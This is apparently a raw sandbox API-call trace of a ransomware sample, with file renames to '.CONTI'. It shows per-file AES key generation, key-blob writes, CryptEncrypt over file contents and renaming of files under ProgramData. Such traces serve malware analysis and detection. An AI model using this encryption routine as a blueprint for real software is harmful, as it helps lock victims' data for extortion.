	[0098.939] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0098.940] GetLastError () returned 0x0
	[0098.940] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=1083027) returned 1
	[0098.940] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x108693
	[0098.940] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.940] SetEndOfFile (hFile=0x378) returned 1
	[0098.940] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.940] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.940] WriteFile (in: hFile=0x378, lpBuffer=0x17d41f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x17d41f4*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0098.942] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.942] ReadFile (in: hFile=0x378, lpBuffer=0x11200000, nNumberOfBytesToRead=0x108693, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x108693, lpOverlapped=0x0) returned 1
	[0098.951] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x108693, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x1086a0) returned 1
	[0098.952] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.952] WriteFile (in: hFile=0x378, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x1086a0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x1086a0, lpOverlapped=0x0) returned 1
	[0098.955] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.955] WriteFile (in: hFile=0x378, lpBuffer=0x17d41e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x17d41e8*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0098.955] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.955] CloseHandle (hObject=0x378) returned 1
	[0102.079] GetProcessHeap () returned 0x1720000
	[0102.079] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17ea448
	[0102.088] lstrcpyW (in: lpString1=0x17ea448, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat"
	[0102.088] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat.CONTI"
	[0102.088] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat.conti")) returned 1
	[0103.840] GetProcessHeap () returned 0x1720000
	[0103.840] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ea448 | out: hHeap=0x1720000) returned 1
	[0103.844] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0103.844] GetProcessHeap () returned 0x1720000
	[0103.844] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3180 | out: hHeap=0x1720000) returned 1
	[0103.844] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0104.217] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x17d2690 | out: phKey=0x17d2690*=0x17c7f30) returned 1
	[0104.219] CryptExportKey (in: hKey=0x17c7f30, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2694, pdwDataLen=0x59bf7d4 | out: pbData=0x17d2694*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0104.222] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267")) returned 0x24
	[0104.222] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0104.222] GetLastError () returned 0x0
	[0104.222] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=1565) returned 1
	[0104.222] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x61d
	[0104.222] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.222] SetEndOfFile (hFile=0x3a0) returned 1
	[0104.222] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0104.223] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.223] WriteFile (in: hFile=0x3a0, lpBuffer=0x17d2694*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x17d2694*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0104.232] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0104.232] ReadFile (in: hFile=0x3a0, lpBuffer=0x11200000, nNumberOfBytesToRead=0x61d, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x61d, lpOverlapped=0x0) returned 1
	[0104.232] CryptEncrypt (in: hKey=0x17c7f30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x61d, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x620) returned 1
	[0104.232] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.232] WriteFile (in: hFile=0x3a0, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x620, lpOverlapped=0x0) returned 1
	[0104.232] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.233] WriteFile (in: hFile=0x3a0, lpBuffer=0x17d2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x17d2688*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0104.233] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0104.233] CloseHandle (hObject=0x3a0) returned 1
	[0104.233] GetProcessHeap () returned 0x1720000
	[0104.233] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17ea448
	[0104.233] lstrcpyW (in: lpString1=0x17ea448, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267") returned="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267"
	[0104.233] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.CONTI") returned="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.CONTI"
	[0104.233] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267"), lpNewFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.CONTI" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.conti")) returned 1
	[0104.233] GetProcessHeap () returned 0x1720000
	[0104.233] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ea448 | out: hHeap=0x1720000) returned 1
	[0104.233] CryptDestroyKey (hKey=0x17c7f30) returned 1
	[0104.233] GetProcessHeap () returned 0x1720000
	[0104.233] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b498 | out: hHeap=0x1720000) returned 1
	[0104.233] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0105.007] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x17d28d8 | out: phKey=0x17d28d8*=0x17c7eb0) returned 1
	[0105.008] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d28dc, pdwDataLen=0x59bf7d4 | out: pbData=0x17d28dc*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0105.008] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\osver.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\osver.txt")) returned 0x20
	[0105.009] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\osver.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\osver.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.009] GetLastError () returned 0x5
	[0105.009] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0105.009] GetProcessHeap () returned 0x1720000
	[0105.009] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0a58 | out: hHeap=0x1720000) returned 1
	[0105.009] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0105.421] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x17d4680 | out: phKey=0x17d4680*=0x17c8570) returned 1
	[0105.421] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4684, pdwDataLen=0x59bf7d4 | out: pbData=0x17d4684*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0105.422] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml")) returned 0x20
	[0105.423] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.423] GetLastError () returned 0x5
	[0105.423] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0105.423] GetProcessHeap () returned 0x1720000
	[0105.423] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cc0c0 | out: hHeap=0x1720000) returned 1
	[0105.423] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0107.121] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x17d2d68 | out: phKey=0x17d2d68*=0x17c7f70) returned 1
	[0107.121] CryptExportKey (in: hKey=0x17c7f70, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2d6c, pdwDataLen=0x59bf7d4 | out: pbData=0x17d2d6c*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0107.149] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml")) returned 0x20
	[0107.149] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0107.150] GetLastError () returned 0x0
	[0107.150] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=3257) returned 1
	[0107.150] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xcb9
	[0107.150] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.150] SetEndOfFile (hFile=0x3c4) returned 1
	[0107.150] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.150] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.150] WriteFile (in: hFile=0x3c4, lpBuffer=0x17d2d6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x17d2d6c*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.151] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.152] ReadFile (in: hFile=0x3c4, lpBuffer=0x11200000, nNumberOfBytesToRead=0xcb9, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0xcb9, lpOverlapped=0x0) returned 1
	[0107.152] CryptEncrypt (in: hKey=0x17c7f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0xcb9, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0xcc0) returned 1
	[0107.152] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.152] WriteFile (in: hFile=0x3c4, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0xcc0, lpOverlapped=0x0) returned 1
	[0107.152] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.152] WriteFile (in: hFile=0x3c4, lpBuffer=0x17d2d60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x17d2d60*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0107.152] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.152] CloseHandle (hObject=0x3c4) returned 1
	[0107.152] GetProcessHeap () returned 0x1720000
	[0107.152] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.153] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml"
	[0107.153] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.CONTI"
	[0107.153] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.conti")) returned 1
	[0107.153] GetProcessHeap () returned 0x1720000
	[0107.153] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.153] CryptDestroyKey (hKey=0x17c7f70) returned 1
	[0107.153] GetProcessHeap () returned 0x1720000
	[0107.153] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cb698 | out: hHeap=0x1720000) returned 1
	[0107.153] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0107.153] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x65142d0 | out: phKey=0x65142d0*=0x17c81b0) returned 1
	[0107.153] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x65142d4, pdwDataLen=0x59bf7d4 | out: pbData=0x65142d4*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0107.155] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\10__connections_cellular_optus (australia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0107.156] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\10__connections_cellular_optus (australia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0107.156] GetLastError () returned 0x0
	[0107.156] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=713) returned 1
	[0107.156] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c9
	[0107.156] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.156] SetEndOfFile (hFile=0x3c4) returned 1
	[0107.156] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.156] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.156] WriteFile (in: hFile=0x3c4, lpBuffer=0x65142d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x65142d4*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.158] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.158] ReadFile (in: hFile=0x3c4, lpBuffer=0x11200000, nNumberOfBytesToRead=0x2c9, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x2c9, lpOverlapped=0x0) returned 1
	[0107.158] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2c9, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2d0) returned 1
	[0107.158] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.158] WriteFile (in: hFile=0x3c4, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x2d0, lpOverlapped=0x0) returned 1
	[0107.158] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.158] WriteFile (in: hFile=0x3c4, lpBuffer=0x65142c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x65142c8*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0107.159] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
